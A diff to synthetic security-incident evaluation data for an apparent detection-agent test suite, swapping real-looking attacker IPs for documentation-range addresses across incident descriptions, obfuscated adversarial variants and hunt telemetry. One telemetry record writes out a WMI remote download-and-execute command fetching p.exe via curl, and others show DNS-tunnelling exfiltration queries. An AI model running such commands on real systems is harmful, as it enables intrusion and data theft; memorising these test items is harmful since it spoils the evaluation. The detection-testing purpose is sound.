203.0.113.111.","expected_tactics": ["TA0006","TA0007"@@ -3670,10 +3670,10 @@"forged","azure ad",- "45.142.122.111"+ "203.0.113.111"],"original_title": "SAML golden-ticket: forged assertion targeting [email protected]",- "original_description": "Forged SAML assertion detected for [email protected]. Attacker pivoted to Azure AD; account enumeration followed from 45.142.122.111."+ "original_description": "Forged SAML assertion detected for [email protected]. Attacker pivoted to Azure AD; account enumeration followed from 203.0.113.111."},{"id": "INC-EVAL-136",@@ -3786,7 +3786,7 @@"template_index": 29,"adversary_intensity": "heavy","title": "windows-mgmt-fabric e-w hop code activation from MAC-CFO-LAPTOP to MAC-LEGAL-LAPTOP",- "description": "wm\u200bic.exe /j$-runtime daemon:MAC-LEGAL-LAPTOP process call create observed from MAC-CFO-LAPTOP by [email protected]. Remote command code activation; payload from 91.134.231.15.",+ "description": "wm\u200bic.exe /j$-runtime daemon:MAC-LEGAL-LAPTOP process call create observed from MAC-CFO-LAPTOP by [email protected]. Remote command code activation; payload from 192.0.2.15.","expected_tactics": ["TA0008","TA0002"@@ -3802,10 +3802,10 @@"MAC-CFO-LAPTOP","MAC-LEGAL-LAPTOP",- "91.134.231.15"+ "192.0.2.15"],"original_title": "WMI lateral execution from MAC-CFO-LAPTOP to MAC-LEGAL-LAPTOP",- "original_description": "wmic.exe /node:MAC-LEGAL-LAPTOP process call create observed from MAC-CFO-LAPTOP by [email protected]. Remote command execution; payload from 91.134.231.15."+ "original_description": "wmic.exe /node:MAC-LEGAL-LAPTOP process call create observed from MAC-CFO-LAPTOP by [email protected]. Remote command execution; payload from 192.0.2.15."},{"id": "INC-EVAL-141",@@ -3893,7 +3893,7 @@"template_index": 33,"adversary_intensity": "heavy","title": "external bucket exfil: outbound data flow to attacker-controlled S3 from WIN-PROD-WEB02",- "description": "outbound flow from WIN-PROD-WEB02 to aws://obj/atk-stage-185.220.101.7/proc-mem snapshot/ by [email protected]. 8 GB transferred over 20 minutes. CloudTrail PutObject events match.",+ "description": "outbound flow from WIN-PROD-WEB02 to aws://obj/atk-stage-198.51.100.7/proc-mem snapshot/ by [email protected]. 8 GB transferred over 20 minutes. CloudTrail PutObject events match.","expected_tactics": ["TA0010"],@@ -3908,11 +3908,11 @@"egress","exfiltrat","WIN-PROD-WEB02",- "185.220.101.7",+ "198.51.100.7",],"original_title": "Cloud storage exfil: data egress to attacker-controlled S3 from WIN-PROD-WEB02",- "original_description": "Egress from WIN-PROD-WEB02 to s3://atk-stage-185.220.101.7/dump/ by [email protected]. 8 GB transferred over 20 minutes. CloudTrail PutObject events match."+ "original_description": "Egress from WIN-PROD-WEB02 to s3://atk-stage-198.51.100.7/dump/ by [email protected]. 8 GB transferred over 20 minutes. CloudTrail PutObject events match."},{"id": "INC-EVAL-145",@@ -3949,7 +3949,7 @@"template_index": 35,"adversary_intensity": "medium","title": "DGA-based C2 traffic from GCP-GKE-n\u200bode.js-04",- "description": "DGA traffic from GCP-GKE-n\u200bode.js-04 observed; 200+ NXDomain replies/min, IoCs match Scattered Spider epoch 5. Beacons to 45.142.122.111.",+ "description": "DGA traffic from GCP-GKE-n\u200bode.js-04 observed; 200+ NXDomain replies/min, IoCs match Scattered Spider epoch 5. Beacons to 203.0.113.111.","expected_tactics": ["TA0011"],@@ -3964,11 +3964,11 @@"nxdomain","beacon","GCP-GKE-NODE-04",- "45.142.122.111",+ "203.0.113.111","Scattered Spider"],"original_title": "DGA-based C2 traffic from GCP-GKE-NODE-04",- "original_description": "DGA traffic from GCP-GKE-NODE-04 observed; 200+ NXDomain replies/min, IoCs match Scattered Spider epoch 5. Beacons to 45.142.122.111."+ "original_description": "DGA traffic from GCP-GKE-NODE-04 observed; 200+ NXDomain replies/min, IoCs match Scattered Spider epoch 5. Beacons to 203.0.113.111."},{"id": "INC-EVAL-147",@@ -4085,7 +4085,7 @@"template_index": 40,"adversary_intensity": "heavy","title": "Public blob-store bucket exposing user identity data",- "description": "blob-store bucket world-readable; ~40k employee records accessible. CloudTrail shows external listing-oution from 91.134.231.15.",+ "description": "blob-store bucket world-readable; ~40k employee records accessible. CloudTrail shows external listing-oution from 192.0.2.15.","expected_tactics": ["TA0009","TA0010"@@ -4101,10 +4101,10 @@"public bucket","pii","cloudtrail",- "91.134.231.15"+ "192.0.2.15"],"original_title": "Public S3 bucket exposing PII",- "original_description": "S3 bucket world-readable; ~40k employee records accessible. CloudTrail shows external enumeration from 91.134.231.15."+ "original_description": "S3 bucket world-readable; ~40k employee records accessible. CloudTrail shows external enumeration from 192.0.2.15."},{"id": "INC-EVAL-152",@@ -4112,7 +4112,7 @@"template_index": 41,"adversary_intensity": "heavy","title": "Identity provider compromise \u2014 anomalous Azure AD sign-in for [email protected]",- "description": "Successful Azure AD sign-in for [email protected] from 91.134.231.15 (impossible-travel from prior location). MFA satisfied via co-opted active sess token.",+ "description": "Successful Azure AD sign-in for [email protected] from 192.0.2.15 (impossible-travel from prior location). MFA satisfied via co-opted active sess token.","expected_tactics": ["TA0001","TA0006"@@ -4129,10 +4129,10 @@"session token","mfa",- "91.134.231.15"+ "192.0.2.15"],"original_title": "Identity provider compromise \u2014 anomalous Azure AD sign-in for [email protected]",- "original_description": "Successful Azure AD sign-in for [email protected] from 91.134.231.15 (impossible-travel from prior location). MFA satisfied via stolen session token."+ "original_description": "Successful Azure AD sign-in for [email protected] from 192.0.2.15 (impossible-travel from prior location). MFA satisfied via stolen session token."},{"id": "INC-EVAL-153",@@ -4193,7 +4193,7 @@"template_index": 44,"adversary_intensity": "medium","title": "Malicious Office add-in installed for [email protected]",- "description": "Office VSTO add-in registered under HKCU for [email protected] on WIN-DC-SECONDARY; loads on every Outlook startup; regular check-ins to 45.142.122.111.",+ "description": "Office VSTO add-in registered under HKCU for [email protected] on WIN-DC-SECONDARY; loads on every Outlook startup; regular check-ins to 203.0.113.111.","expected_tactics": ["TA0003","TA0011"@@ -4210,18 +4210,18 @@"outlook","WIN-DC-SECONDARY",- "45.142.122.111"+ "203.0.113.111"],"original_title": "Malicious Office add-in installed for [email protected]",- "original_description": "Office VSTO add-in registered under HKCU for [email protected] on WIN-DC-SECONDARY; loads on every Outlook startup; beacons to 45.142.122.111."+ "original_description": "Office VSTO add-in registered under HKCU for [email protected] on WIN-DC-SECONDARY; loads on every Outlook startup; beacons to 203.0.113.111."},{"id": "INC-EVAL-156","template_id": "github-pat-leak","template_index": 45,"adversary_intensity": "heavy",- "title": "GitHub p@t leaked and abused from 45.142.122.111",- "description": "user-issued api token belonging to [email protected] used from 45.142.122.111 to clone 14 non-public repos. Token committed in public dotfiles repo 6 hours earlier.",+ "title": "GitHub p@t leaked and abused from 203.0.113.111",+ "description": "user-issued api token belonging to [email protected] used from 203.0.113.111 to clone 14 non-public repos. Token committed in public dotfiles repo 6 hours earlier.","expected_tactics": ["TA0006","TA0009"@@ -4238,10 +4238,10 @@"token","private repo",- "45.142.122.111"+ "203.0.113.111"],- "original_title": "GitHub PAT leaked and abused from 45.142.122.111",- "original_description": "Personal access token belonging to [email protected] used from 45.142.122.111 to clone 14 private repos. Token committed in public dotfiles repo 6 hours earlier."+ "original_title": "GitHub PAT leaked and abused from 203.0.113.111",+ "original_description": "Personal access token belonging to [email protected] used from 203.0.113.111 to clone 14 private repos. Token committed in public dotfiles repo 6 hours earlier."},{"id": "INC-EVAL-157",@@ -4249,7 +4249,7 @@"template_index": 46,"adversary_intensity": "heavy","title": "Ecallback infra instance im\u200bds endpoint abused on WIN-PROD-WEB02",- "description": "im\u200bdsv1 abused on WIN-PROD-WEB02; temporary IAM auth-tokens for role exfilled to 91.134.231.15. CloudTrail shows AssumeRole from external.",+ "description": "im\u200bdsv1 abused on WIN-PROD-WEB02; temporary IAM auth-tokens for role exfilled to 192.0.2.15. CloudTrail shows AssumeRole from external.","expected_tactics": ["TA0006","TA0004"@@ -4266,10 +4266,10 @@"iam credentials","AssumeRole","WIN-PROD-WEB02",- "91.134.231.15"+ "192.0.2.15"],"original_title": "EC2 instance metadata service abused on WIN-PROD-WEB02",- "original_description": "IMDSv1 abused on WIN-PROD-WEB02; temporary IAM credentials for role exfilled to 91.134.231.15. CloudTrail shows AssumeRole from external."+ "original_description": "IMDSv1 abused on WIN-PROD-WEB02; temporary IAM credentials for role exfilled to 192.0.2.15. CloudTrail shows AssumeRole from external."},{"id": "INC-EVAL-158",@@ -4277,7 +4277,7 @@"template_index": 47,"adversary_intensity": "heavy","title": "Vendor admin self-serve cred change abuse for [email protected]",- "description": "self-serve cred change for [email protected] performed by helpdesk in response to human-factor pretexting call from 91.134.231.15. Token claimed within 90 seconds.",+ "description": "self-serve cred change for [email protected] performed by helpdesk in response to human-factor pretexting call from 192.0.2.15. Token claimed within 90 seconds.","expected_tactics": ["TA0001","TA0006"@@ -4293,10 +4293,10 @@"social engineering","helpdesk",- "91.134.231.15"+ "192.0.2.15"],"original_title": "Vendor admin password reset abuse for [email protected]",- "original_description": "Password reset for [email protected] performed by helpdesk in response to social-engineering call from 91.134.231.15. Token claimed within 90 seconds."+ "original_description": "Password reset for [email protected] performed by helpdesk in response to social-engineering call from 192.0.2.15. Token claimed within 90 seconds."},{"id": "INC-EVAL-159",@@ -4358,7 +4358,7 @@"template_index": 50,"adversary_intensity": "medium","title": "Outlook rule auto-forwarding mail from [email protected]",- "description": "Outlook inbox rule created for [email protected] that forwards all mail to external address at 185.220.101.7. Linked to LockBit 3.0.",+ "description": "Outlook inbox rule created for [email protected] that forwards all mail to external address at 198.51.100.7. Linked to LockBit 3.0.","expected_tactics": ["TA0006","TA0009"@@ -4374,11 +4374,11 @@"forward","mail",- "185.220.101.7",+ "198.51.100.7","LockBit 3.0"],"original_title": "Outlook rule auto-forwarding mail from [email protected]",- "original_description": "Outlook inbox rule created for [email protected] that forwards all mail to external address at 185.220.101.7. Linked to LockBit 3.0."+ "original_description": "Outlook inbox rule created for [email protected] that forwards all mail to external address at 198.51.100.7. Linked to LockBit 3.0."},{"id": "INC-EVAL-162",@@ -4580,7 +4580,7 @@"template_index": 3,"adversary_intensity": "light","title": "Supply-chain compromise: malicious npm package on WIN-PROD-WEB02",- "description": "CI pipeline on WIN-PROD-WEB02 installed compromised npm package `event-stream`. Post-install hook executed reverse shell to 91.134.231.15. Build artefacts may be tainted.",+ "description": "CI pipeline on WIN-PROD-WEB02 installed compromised npm package `event-stream`. Post-install hook executed reverse shell to 192.0.2.15. Build artefacts may be tainted.","expected_tactics": ["TA0001","TA0002"@@ -4597,10 +4597,10 @@"event-stream","post-install","WIN-PROD-WEB02",- "91.134.231.15"+ "192.0.2.15"],"original_title": "Supply-chain compromise: malicious npm package on WIN-PROD-WEB02",- "original_description": "CI pipeline on WIN-PROD-WEB02 installed compromised npm package `event-stream`. Post-install hook executed reverse shell to 91.134.231.15. Build artefacts may be tainted."+ "original_description": "CI pipeline on WIN-PROD-WEB02 installed compromised npm package `event-stream`. Post-install hook executed reverse shell to 192.0.2.15. Build artefacts may be tainted."},{"id": "INC-EVAL-170",@@ -4636,7 +4636,7 @@"template_index": 5,"adversary_intensity": "light","title": "OAuth consent phi$hing targeting [email protected]",- "description": "Malicious OAuth application granted Mail.Read and Files.Read.All scopes by [email protected]. Inbox forwarding rule created sending mail to 45.142.122.111.",+ "description": "Malicious OAuth application granted Mail.Read and Files.Read.All scopes by [email protected]. Inbox forwarding rule created sending mail to 203.0.113.111.","expected_tactics": ["TA0001","TA0006"@@ -4652,11 +4652,11 @@"Mail.Read","Files.Read.All",- "45.142.122.111",+ "203.0.113.111","forwarding rule"],"original_title": "OAuth consent phishing targeting [email protected]",- "original_description": "Malicious OAuth application granted Mail.Read and Files.Read.All scopes by [email protected]. Inbox forwarding rule created sending mail to 45.142.122.111."+ "original_description": "Malicious OAuth application granted Mail.Read and Files.Read.All scopes by [email protected]. Inbox forwarding rule created sending mail to 203.0.113.111."},{"id": "INC-EVAL-172",@@ -5283,7 +5283,7 @@"template_index": 29,"adversary_intensity": "medium","title": "WMI horizontal execution from WIN-FILE-SHARE to LIN-DB-REPLICA",- "description": "wmic.exe /node:LIN-DB-REPLICA process call create observed from WIN-FILE-SHARE by [email protected]. Remote command execution; payload from 91.134.231.15.",+ "description": "wmic.exe /node:LIN-DB-REPLICA process call create observed from WIN-FILE-SHARE by [email protected]. Remote command execution; payload from 192.0.2.15.","expected_tactics": ["TA0008","TA0002"@@ -5299,10 +5299,10 @@"WIN-FILE-SHARE","LIN-DB-REPLICA",- "91.134.231.15"+ "192.0.2.15"],"original_title": "WMI lateral execution from WIN-FILE-SHARE to LIN-DB-REPLICA",- "original_description": "wmic.exe /node:LIN-DB-REPLICA process call create observed from WIN-FILE-SHARE by [email protected]. Remote command execution; payload from 91.134.231.15."+ "original_description": "wmic.exe /node:LIN-DB-REPLICA process call create observed from WIN-FILE-SHARE by [email protected]. Remote command execution; payload from 192.0.2.15."},{"id": "INC-EVAL-196",@@ -5390,7 +5390,7 @@"template_index": 33,"adversary_intensity": "medium","title": "Cloud storage exfil: data egress to attacker-controlled S3 from K8S-PROD-CLUSTER",- "description": "Egress from K8S-PROD-CLUSTER to s3://atk-stage-45.142.122.111/d\u200bump/ by [email protected]. 8 GB transferred over 20 minutes. CloudTrail PutObject events match.",+ "description": "Egress from K8S-PROD-CLUSTER to s3://atk-stage-203.0.113.111/d\u200bump/ by [email protected]. 8 GB transferred over 20 minutes. CloudTrail PutObject events match.","expected_tactics": ["TA0010"],@@ -5405,11 +5405,11 @@"egress","exfiltrat","K8S-PROD-CLUSTER",- "45.142.122.111",+ "203.0.113.111",],"original_title": "Cloud storage exfil: data egress to attacker-controlled S3 from K8S-PROD-CLUSTER",- "original_description": "Egress from K8S-PROD-CLUSTER to s3://atk-stage-45.142.122.111/dump/ by [email protected]. 8 GB transferred over 20 minutes. CloudTrail PutObject events match."+ "original_description": "Egress from K8S-PROD-CLUSTER to s3://atk-stage-203.0.113.111/dump/ by [email protected]. 8 GB transferred over 20 minutes. CloudTrail PutObject events match."},{"id": "INC-EVAL-200",diff --git a/services/agents/tests/eval_data/synthetic_hunt_telemetry.jsonl b/services/agents/tests/eval_data/synthetic_hunt_telemetry.jsonlindex e8b5a2983..8f9d41d37 100644--- a/services/agents/tests/eval_data/synthetic_hunt_telemetry.jsonl+++ b/services/agents/tests/eval_data/synthetic_hunt_telemetry.jsonl@@ -1,16 +1,16 @@{"incident_id": "INC-HUNT-001", "template_id": "hunt-svc-account-after-hours", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4624, "Computer": "WIN-PROD-WEB02", "TargetUserName": "svc-deploy", "LogonType": 10, "IpAddress": "10.4.12.55", "LogonProcessName": "User32", "EventTimeUTC": "02:47:00Z"}{"incident_id": "INC-HUNT-001", "template_id": "hunt-svc-account-after-hours", "event_index": 1, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4624, "Computer": "WIN-DC-PRIMARY", "TargetUserName": "svc-deploy", "LogonType": 2, "IpAddress": "10.4.12.55", "LogonProcessName": "User32", "EventTimeUTC": "02:51:00Z"}{"incident_id": "INC-HUNT-001-NEG", "template_id": "hunt-svc-account-after-hours-neg", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4624, "Computer": "WIN-DC-PRIMARY", "TargetUserName": "svc-deploy", "LogonType": 5, "IpAddress": "-", "LogonProcessName": "Advapi", "EventTimeUTC": "02:50:00Z"}-{"incident_id": "INC-HUNT-002", "template_id": "hunt-dns-tunneling-large-txt", "event_index": 0, "source": "dns", "query_name": "QmFzZTY0RXh0cmFjdGVkUmVjb3JkSWQ9NTQzMjE3OTg3NjU0MzIxLnVzZXIuYWlzb2MuZGV2.exfil.45.142.122.111.in-addr.arpa", "query_type": "TXT", "query_length": 142, "src_host": "WIN-PROD-WEB02", "dst_ip": "45.142.122.111", "response_size": 512, "queries_per_hour": 187}-{"incident_id": "INC-HUNT-002", "template_id": "hunt-dns-tunneling-large-txt", "event_index": 1, "source": "dns", "query_name": "WW91U2hhbGxOb3RQYXNzVGhpc0lzREFUQVRyYW5zZmVyU3RyZWFtMQ.exfil.45.142.122.111.in-addr.arpa", "query_type": "TXT", "query_length": 121, "src_host": "WIN-PROD-WEB02", "dst_ip": "45.142.122.111", "response_size": 512, "queries_per_hour": 187}+{"incident_id": "INC-HUNT-002", "template_id": "hunt-dns-tunneling-large-txt", "event_index": 0, "source": "dns", "query_name": "QmFzZTY0RXh0cmFjdGVkUmVjb3JkSWQ9NTQzMjE3OTg3NjU0MzIxLnVzZXIuYWlzb2MuZGV2.exfil.203.0.113.111.in-addr.arpa", "query_type": "TXT", "query_length": 142, "src_host": "WIN-PROD-WEB02", "dst_ip": "203.0.113.111", "response_size": 512, "queries_per_hour": 187}+{"incident_id": "INC-HUNT-002", "template_id": "hunt-dns-tunneling-large-txt", "event_index": 1, "source": "dns", "query_name": "WW91U2hhbGxOb3RQYXNzVGhpc0lzREFUQVRyYW5zZmVyU3RyZWFtMQ.exfil.203.0.113.111.in-addr.arpa", "query_type": "TXT", "query_length": 121, "src_host": "WIN-PROD-WEB02", "dst_ip": "203.0.113.111", "response_size": 512, "queries_per_hour": 187}{"incident_id": "INC-HUNT-002-NEG", "template_id": "hunt-dns-tunneling-large-txt-neg", "event_index": 0, "source": "dns", "query_name": "_dmarc.example.com", "query_type": "TXT", "query_length": 16, "src_host": "WIN-MAIL-RELAY", "dst_ip": "8.8.8.8", "response_size": 256, "queries_per_hour": 187}{"incident_id": "INC-HUNT-003", "template_id": "hunt-oauth-app-mass-consent", "event_index": 0, "source": "m365_audit", "Workload": "AzureActiveDirectory", "Operation": "Consent to application.", "UserId": "[email protected]", "ApplicationId": "98765432-aaaa-bbbb-cccc-1234567890ab", "ApplicationName": "Mailbox Helper Pro", "ConsentedScopes": ["Mail.Read", "Mail.Send", "Files.Read.All", "offline_access"], "distinct_users_per_app_24h": 7}{"incident_id": "INC-HUNT-003", "template_id": "hunt-oauth-app-mass-consent", "event_index": 1, "source": "m365_audit", "Workload": "AzureActiveDirectory", "Operation": "Consent to application.", "UserId": "[email protected]", "ApplicationId": "98765432-aaaa-bbbb-cccc-1234567890ab", "ApplicationName": "Mailbox Helper Pro", "ConsentedScopes": ["Mail.Read", "offline_access"], "distinct_users_per_app_24h": 7}{"incident_id": "INC-HUNT-003-NEG", "template_id": "hunt-oauth-app-mass-consent-neg", "event_index": 0, "source": "m365_audit", "Workload": "AzureActiveDirectory", "Operation": "Consent to application.", "UserId": "[email protected]", "ApplicationId": "11111111-2222-3333-4444-555555555555", "ApplicationName": "Microsoft Teams", "ConsentedScopes": ["Mail.Read", "Mail.Send", "Files.Read.All", "offline_access"], "distinct_users_per_app_24h": 1}-{"incident_id": "INC-HUNT-004", "template_id": "hunt-cloud-iam-role-anomalous-assume", "event_index": 0, "source": "cloudtrail", "eventName": "AssumeRole", "eventSource": "sts.amazonaws.com", "awsRegion": "us-east-1", "userIdentity": {"type": "AssumedRole", "principalId": "AROAEXTERNALACCT123:attacker"}, "sourceIPAddress": "45.142.122.111", "requestParameters": {"roleArn": "arn:aws:iam::123456789012:role/prod-readonly", "roleSessionName": "atk-session-001"}, "principal_first_seen_against_role": true, "privileged_calls_within_5min": 12}-{"incident_id": "INC-HUNT-004", "template_id": "hunt-cloud-iam-role-anomalous-assume", "event_index": 1, "source": "cloudtrail", "eventName": "ListBuckets", "eventSource": "s3.amazonaws.com", "awsRegion": "us-east-1", "userIdentity": {"type": "AssumedRole", "principalId": "AROAEXTERNALACCT123:attacker", "sessionContext": {"sessionIssuer": {"arn": "arn:aws:iam::123456789012:role/prod-readonly"}}}, "sourceIPAddress": "45.142.122.111", "privileged_calls_within_5min": 12}+{"incident_id": "INC-HUNT-004", "template_id": "hunt-cloud-iam-role-anomalous-assume", "event_index": 0, "source": "cloudtrail", "eventName": "AssumeRole", "eventSource": "sts.amazonaws.com", "awsRegion": "us-east-1", "userIdentity": {"type": "AssumedRole", "principalId": "AROAEXTERNALACCT123:attacker"}, "sourceIPAddress": "203.0.113.111", "requestParameters": {"roleArn": "arn:aws:iam::123456789012:role/prod-readonly", "roleSessionName": "atk-session-001"}, "principal_first_seen_against_role": true, "privileged_calls_within_5min": 12}+{"incident_id": "INC-HUNT-004", "template_id": "hunt-cloud-iam-role-anomalous-assume", "event_index": 1, "source": "cloudtrail", "eventName": "ListBuckets", "eventSource": "s3.amazonaws.com", "awsRegion": "us-east-1", "userIdentity": {"type": "AssumedRole", "principalId": "AROAEXTERNALACCT123:attacker", "sessionContext": {"sessionIssuer": {"arn": "arn:aws:iam::123456789012:role/prod-readonly"}}}, "sourceIPAddress": "203.0.113.111", "privileged_calls_within_5min": 12}{"incident_id": "INC-HUNT-004-NEG", "template_id": "hunt-cloud-iam-role-anomalous-assume-neg", "event_index": 0, "source": "cloudtrail", "eventName": "AssumeRole", "eventSource": "sts.amazonaws.com", "awsRegion": "us-east-1", "userIdentity": {"type": "AssumedRole", "principalId": "AROACI0123456:ci-deployer"}, "sourceIPAddress": "10.0.0.50", "requestParameters": {"roleArn": "arn:aws:iam::123456789012:role/ci-deploy", "roleSessionName": "github-action-deploy"}, "principal_first_seen_against_role": false, "privileged_calls_within_5min": 12}-{"incident_id": "INC-HUNT-005", "template_id": "hunt-lolbin-rundll32-network", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 3, "Computer": "WIN-PROD-WEB02", "User": "[email protected]", "Image": "C:\\Windows\\System32\\rundll32.exe", "DestinationIp": "91.134.231.15", "DestinationPort": 443, "DestinationIp_is_public": true, "DestinationIp_is_microsoft": false}+{"incident_id": "INC-HUNT-005", "template_id": "hunt-lolbin-rundll32-network", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 3, "Computer": "WIN-PROD-WEB02", "User": "[email protected]", "Image": "C:\\Windows\\System32\\rundll32.exe", "DestinationIp": "192.0.2.15", "DestinationPort": 443, "DestinationIp_is_public": true, "DestinationIp_is_microsoft": false}{"incident_id": "INC-HUNT-005", "template_id": "hunt-lolbin-rundll32-network", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "WIN-PROD-WEB02", "User": "[email protected]", "Image": "C:\\Windows\\System32\\rundll32.exe", "ParentImage": "C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE", "CommandLine": "rundll32.exe C:\\Users\\Public\\x.dll,EntryPoint"}{"incident_id": "INC-HUNT-005-NEG", "template_id": "hunt-lolbin-rundll32-network-neg", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 3, "Computer": "WIN-PROD-WEB02", "User": "SYSTEM", "Image": "C:\\Windows\\System32\\rundll32.exe", "DestinationIp": "20.190.190.35", "DestinationPort": 443, "DestinationIp_is_public": true, "DestinationIp_is_microsoft": true}{"incident_id": "INC-HUNT-006", "template_id": "hunt-kerberoast-rc4-service-ticket", "event_index": 0, "is_synthetic": true, "source": "windows_security", "EventID": 4769, "TicketEncryptionType": "0x17", "ServiceName": "MSSQLSvc/db01.corp.local", "TargetUserName": "j.okafor", "IpAddress": "10.8.3.44"}diff --git a/services/agents/tests/eval_data/synthetic_incidents.json b/services/agents/tests/eval_data/synthetic_incidents.jsonindex 2c8e9fe12..28a212a2d 100644--- a/services/agents/tests/eval_data/synthetic_incidents.json+++ b/services/agents/tests/eval_data/synthetic_incidents.json@@ -4,7 +4,7 @@"template_id": "phishing-macro-email","template_index": 0,"title": "Spear-phishing email with macro-laden attachment delivered to [email protected]",- "description": "Inbound email from 45.142.122.111 delivered an Office document with a malicious VBA macro to [email protected]. Attachment opened on WIN-DC-PRIMARY; macro spawned cmd.exe and downloaded a stage-2 payload from a known Lazarus infrastructure.",+ "description": "Inbound email from 203.0.113.111 delivered an Office document with a malicious VBA macro to [email protected]. Attachment opened on WIN-DC-PRIMARY; macro spawned cmd.exe and downloaded a stage-2 payload from a known Lazarus infrastructure.","expected_tactics": ["TA0001","TA0002"@@ -18,7 +18,7 @@"evidence_keywords": ["phishing email","macro",- "45.142.122.111",+ "203.0.113.111","WIN-DC-PRIMARY","stage-2 payload"@@ -29,7 +29,7 @@"Workload": "Exchange","Operation": "Send","UserId": "[email protected]",- "ClientIP": "45.142.122.111",+ "ClientIP": "203.0.113.111","Subject": "Q4 invoice (action required)","AttachmentNames": ["invoice_q4.docm"@@ -254,7 +254,7 @@"template_id": "oauth-consent-phish","template_index": 5,"title": "OAuth consent phishing targeting [email protected]",- "description": "Malicious OAuth application granted Mail.Read and Files.Read.All scopes by [email protected]. Inbox forwarding rule created sending mail to 91.134.231.15.",+ "description": "Malicious OAuth application granted Mail.Read and Files.Read.All scopes by [email protected]. Inbox forwarding rule created sending mail to 192.0.2.15.","expected_tactics": ["TA0001","TA0006"@@ -270,7 +270,7 @@"Mail.Read","Files.Read.All",- "91.134.231.15",+ "192.0.2.15","forwarding rule"],"telemetry": [@@ -293,7 +293,7 @@"UserId": "[email protected]","Parameters": {"Name": "Auto-fwd",- "ForwardTo": "[email protected]",+ "ForwardTo": "[email protected]","DeleteMessage": true}}@@ -1035,8 +1035,8 @@"id": "INC-EVAL-022","template_id": "credential-spray","template_index": 21,- "title": "Brute-force credential spray against [email protected] from 45.142.122.111",- "description": "Credential spray from 45.142.122.111 against [email protected]. 1500 password attempts in 30 minutes. One success followed by anomalous Azure AD sign-in.",+ "title": "Brute-force credential spray against [email protected] from 203.0.113.111",+ "description": "Credential spray from 203.0.113.111 against [email protected]. 1500 password attempts in 30 minutes. One success followed by anomalous Azure AD sign-in.","expected_tactics": ["TA0006"],@@ -1049,7 +1049,7 @@"brute force","credential spray",- "45.142.122.111",+ "203.0.113.111","azure ad"],"telemetry": [@@ -1057,7 +1057,7 @@"source": "azure_signin","category": "SignInLogs","userPrincipalName": "[email protected]",- "ipAddress": "45.142.122.111",+ "ipAddress": "203.0.113.111","resultType": 50126,"resultDescription": "Invalid username or password","appDisplayName": "Office 365 Exchange Online",@@ -1067,7 +1067,7 @@"source": "azure_signin","category": "SignInLogs","userPrincipalName": "[email protected]",- "ipAddress": "45.142.122.111",+ "ipAddress": "203.0.113.111","resultType": 0,"resultDescription": "Success","conditionalAccessStatus": "success",@@ -1398,7 +1398,7 @@"template_id": "wmi-lateral-execution","template_index": 29,"title": "WMI lateral execution from WIN-PROD-WEB02 to AWS-EC2-PROD-API",- "description": "wmic.exe /node:AWS-EC2-PROD-API process call create observed from WIN-PROD-WEB02 by [email protected]. Remote command execution; payload from 91.134.231.15.",+ "description": "wmic.exe /node:AWS-EC2-PROD-API process call create observed from WIN-PROD-WEB02 by [email protected]. Remote command execution; payload from 192.0.2.15.","expected_tactics": ["TA0008","TA0002"@@ -1414,7 +1414,7 @@"WIN-PROD-WEB02","AWS-EC2-PROD-API",- "91.134.231.15"+ "192.0.2.15"],"telemetry": [{@@ -1425,7 +1425,7 @@"Computer": "WIN-PROD-WEB02","User": "[email protected]","Image": "C:\\Windows\\System32\\wbem\\wmic.exe",- "CommandLine": "wmic /node:AWS-EC2-PROD-API process call create \"cmd /c curl http://91.134.231.15/p.exe -o C:\\Users\\Public\\p.exe && C:\\Users\\Public\\p.exe\""+ "CommandLine": "wmic /node:AWS-EC2-PROD-API process call create \"cmd /c curl http://192.0.2.15/p.exe -o C:\\Users\\Public\\p.exe && C:\\Users\\Public\\p.exe\""}]},@@ -1550,7 +1550,7 @@"template_id": "s3-exfil-cloud-storage","template_index": 33,"title": "Cloud storage exfil: data egress to attacker-controlled S3 from WIN-DC-PRIMARY",- "description": "Egress from WIN-DC-PRIMARY to s3://atk-stage-91.134.231.15/dump/ by [email protected]. 8 GB transferred over 20 minutes. CloudTrail PutObject events match.",+ "description": "Egress from WIN-DC-PRIMARY to s3://atk-stage-192.0.2.15/dump/ by [email protected]. 8 GB transferred over 20 minutes. CloudTrail PutObject events match.","expected_tactics": ["TA0010"],@@ -1565,7 +1565,7 @@"egress","exfiltrat","WIN-DC-PRIMARY",- "91.134.231.15",+ "192.0.2.15",],"telemetry": [@@ -1580,12 +1580,12 @@},"sourceIPAddress": "WIN-DC-PRIMARY","requestParameters": {- "bucketName": "atk-stage-91.134.231.15",+ "bucketName": "atk-stage-192.0.2.15","key": "dump/customers.tar.gz"},"resources": [{- "ARN": "arn:aws:s3:::atk-stage-91.134.231.15/dump/customers.tar.gz"+ "ARN": "arn:aws:s3:::atk-stage-192.0.2.15/dump/customers.tar.gz"}]}@@ -1909,7 +1909,7 @@"template_id": "azure-ad-impossible-travel","template_index": 41,"title": "Identity provider compromise \u2014 anomalous Azure AD sign-in for [email protected]",- "description": "Successful Azure AD sign-in for [email protected] from 45.142.122.111 (impossible-travel from prior location). MFA satisfied via stolen session token.",+ "description": "Successful Azure AD sign-in for [email protected] from 203.0.113.111 (impossible-travel from prior location). MFA satisfied via stolen session token.","expected_tactics": ["TA0001","TA0006"@@ -1926,14 +1926,14 @@"session token","mfa",- "45.142.122.111"+ "203.0.113.111"],"telemetry": [{"source": "azure_signin","category": "SignInLogs","userPrincipalName": "[email protected]",- "ipAddress": "45.142.122.111",+ "ipAddress": "203.0.113.111","location": {"city": "Vladivostok","countryOrRegion": "RU"@@ -2030,7 +2030,7 @@"template_id": "office-vsto-addin","template_index": 44,"title": "Malicious Office add-in installed for [email protected]",- "description": "Office VSTO add-in registered under HKCU for [email protected] on WIN-EXCHANGE-01; loads on every Outlook startup; beacons to 